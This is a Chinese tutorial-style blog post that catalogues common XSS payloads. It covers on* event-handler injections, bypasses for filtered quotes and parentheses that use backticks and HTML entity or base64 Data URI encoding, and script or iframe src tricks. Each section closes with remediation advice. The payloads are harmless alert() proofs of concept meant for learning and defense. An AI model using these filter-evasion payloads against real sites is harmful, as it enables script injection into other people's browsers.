第一类:

<tag on*=*/>

在html标签事件中触发,典型的是on*事件,但是这种触发模式的缺陷在于不能直接触发所以更多的需要配合使用。

eg:

1.使html元素占据整个显示页面 <a onclick="alert('1')" style="postion:fixed;width:100%;heith:100%">&nbsp;</a>

2.增加属性触发事件 <input onfocus="alert('1')" autofocus/>

3.自动触发事件<body onload="alert('1')"></body>

在真实环境中,' 、" 、( 、) 都是属于黑名单中的成员,如果遇到以上四个字符被过滤的情况,那么我们就需要使用其他字符去代替,或者编码的方式去绕过。

eg:

1.不使用 "  <input onfocus=alert('1') autofocus/>

2.不使用 '  <input onfocus="alert(/1/)" autofocus/>

3.不使用 ( )  <input onfocus="alert`'1'`" autofocus/>

4.不使用 ' " ( ) <input onfocus=alert`1` autofocus/>

5.使用html实体编码绕过 <input onfocus="alert('1')" autofocus/>

6.使用html实体编码绕过变形 <input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

这里如何修补该漏洞呢?常见修补方式有如下

eg:

1.使用环境允许插入html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig

2.使用环境不允许插入html标签的情况下,不难看出所有的tag前面都紧贴着一个 “ < ” ,所以只需要将 “ < ” 使用html实体编码转换即可。常见匹配策略 /</g

第二类:<tag src=*/>

该类型的触发点其实相对较少的,曾经最经典的一个莫属于IE6中的 <img src="alert('1')"/> 但是这个问题已经成为历史,在其它tag中使用src属性触发xss的列子也还是有的。

eg:

1.在iframe标签中加载一个脚本页面 <iframe src="./alert.html"></iframe>

2.在script标签中加载一个脚本 <script src="./alert.js"></script>

在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本

eg:

1.在iframe标签中使用Data URI scheme直接嵌入文本 <iframe src="data:text/html,<script>alert('1')</script>"></iframe>

2.在script标签中使用Data URI scheme直接嵌入文本 <script src="data:text/html,alert('1')"></script>

使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式

eg:

1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>

在该类型的变形中还可以结合第一类的变形使用

eg:

1.使用html实体编码URI <script src="./alert.js"></script>

2.使用html实体编码Data URI scheme <script src="data:text/html,alert('1')"></script>

3.使用html实体编码BASE64编码之后的Data URI scheme <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>

该类问题的修补策略和第一类类似。常见方式有如下。

eg:

1.在允许使用外部元素的时候,鄙人不才没能想出处理方案。

2.在不允许使用外部元素的时候,在src所指向的URI上加入当前网站的域名,以此限制内容为当前网站中的安全内容。

3.在不允许使用元素引入的时候,但是允许插入html标签排版的情况下,指定tag白名单或者tag黑名单。

4.不允许使用html标签的时候,将 < 转换为html实体编码。

常见的XSS攻击代码的更多相关文章

  1. XSS攻击常识及常见的XSS攻击脚本汇总

    一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...

  2. 几个常见的漏洞(xss攻击 cookie未清除 nginx信息泄露)与处理方法

    项目在安全检查中发现很多问题,要求整改,其中就有最常见的xss攻击 漏洞描述 渗透测试人员检测到网站筛选框均存在反射型跨站脚本攻击,例如: "><script>alert( ...

  3. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  4. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

  5. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  6. 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)

    XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...

  7. Web 安全漏洞之 XSS 攻击

    什么是 XSS 攻击 XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 ...

  8. 使用 PHP 构建的 Web 应用如何避免 XSS 攻击

    本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...

  9. XSS攻击总结

    本文由 http://www.cnblogs.com/phpstudy2015-6/p/6767032.html 整理总结而来 XSS又称CSS(cross site script),译为跨站脚本攻击 ...

随机推荐

  1. 每周分享之 二 http协议(1)

    本次分享http协议,共分为三部分,这是第一部分,主要讲解http的发展历程,各个版本,以及各个版本的特点. 一:http/0.9 最早版本是1991年发布的0.9版.该版本极其简单,只有一个命令GE ...

  2. Asp数据转Json

    需要引用的文件: json.asp(可在JSON官网下载,也可在底部链接的demo中直接拷贝该文件) Conn.asp是链接数据库文件 <%@LANGUAGE="%> <% ...

  3. 读书笔记之宿舍共享wifi

    若有某方面侵权,请邮件1047697114@qq.com,一个工作日即可处理,谢谢   目录一.简单安装虚拟机二.简单设置,开热点! 我没试过那些wifi软件之类的,以下是个人测试的过程 一.简单安装 ...

  4. 像 npm 一样在 Andriod 项目中引入 Gradle 依赖

    一.前言 作为 Android 开发人员,有没有羡慕过 node.js 的导入三方库的方式,node.js 社区为开发者准备了一个快速可靠的依赖管理库.这样的依赖管理库,让 node.js 导入依赖库 ...

  5. FPGA在其他领域的应用(一)

    测试和测量应用: 测试需要是所有细分市场的要求.无论是终端市场,所有产品在运到最终客户之前都必须进行测试.这动态地驱动测试和测量领域的普遍性质,其中包括下面的种类和分段: 通信测试: 无线测试仪 (W ...

  6. git reflog -- 显示所有提交

    格式:           git commit  [选项] <path> 选项 git commit -a 提交所有改动的文件(a -- all) git commit -m 提交说明( ...

  7. javascript字符串对象

    String字符串对象 1. 字符串粗体展示: var a = "陈冠希喜欢拍电影";   document.writeln(a.bold()+"<br/>& ...

  8. java优雅的使用elasticsearch api

    本文给出一种优雅的拼装elasticsearch查询的方式,可能会使得使用elasticsearch的方式变得优雅起来,使得代码结构很清晰易读. 建立elasticsearch连接部分请参看另一篇博客 ...

  9. openvswitch 2.7 安装过程记录 总结

    envswitch 2.7 安装过程记录 总结 安装思路是参考文档: http://docs.openvswitch.org/en/latest/intro/install/general/#obta ...

  10. DevOps之主机

    唠叨话 关于德语噢屁事的知识点,仅提供专业性的精华汇总,具体知识点细节,参考教程网址,如需帮助,请留言. 主机(Host) 关于主机,知识与技能的层次(知道.理解.运用),理论与实践的方面(原理.技术 ...